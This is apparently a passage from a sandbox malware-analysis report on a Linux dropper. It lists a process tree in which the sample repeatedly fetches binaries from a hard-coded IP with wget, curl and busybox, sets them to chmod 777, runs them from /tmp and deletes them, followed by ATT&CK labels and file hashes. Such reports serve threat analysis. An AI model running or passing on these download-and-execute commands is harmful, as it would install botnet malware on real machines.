- File and Directory Permissions Modification
PID:928
-
-
/tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX./ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Executes dropped EXE
PID:929
-
-
/bin/rmrm ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:930
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:931
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:932
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:933
-
-
/bin/chmodchmod 777 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- File and Directory Permissions Modification
PID:934
-
-
/tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr./vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Executes dropped EXE
PID:935
-
-
/bin/rmrm vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:936
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:937
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Reads runtime system information
- Writes file to tmp directory
PID:938
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:939
-
-
/bin/chmodchmod 777 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- File and Directory Permissions Modification
PID:940
-
-
/tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9./Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Executes dropped EXE
PID:941
-
-
/bin/rmrm Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:942
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:943
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:944
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:945
-
-
/bin/chmodchmod 777 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- File and Directory Permissions Modification
PID:946
-
-
/tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ./ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Executes dropped EXE
PID:947
-
-
/bin/rmrm ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:948
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:949
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Reads runtime system information
- Writes file to tmp directory
PID:950
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:951
-
-
/bin/chmodchmod 777 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- File and Directory Permissions Modification
PID:952
-
-
/tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0./yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Executes dropped EXE
PID:953
-
-
/bin/rmrm yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:954
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:955
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:956
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:957
-
-
/bin/chmodchmod 777 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- File and Directory Permissions Modification
PID:958
-
-
/tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM./jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Executes dropped EXE
PID:959
-
-
/bin/rmrm jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:960
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:961
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:962
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:963
-
-
/bin/chmodchmod 777 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- File and Directory Permissions Modification
PID:964
-
-
/tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv./LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Executes dropped EXE
PID:965
-
-
/bin/rmrm LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:966
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:967
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:968
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:969
-
-
/bin/chmodchmod 777 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- File and Directory Permissions Modification
PID:970
-
-
/tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB./x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Executes dropped EXE
PID:971
-
-
/bin/rmrm x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:972
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97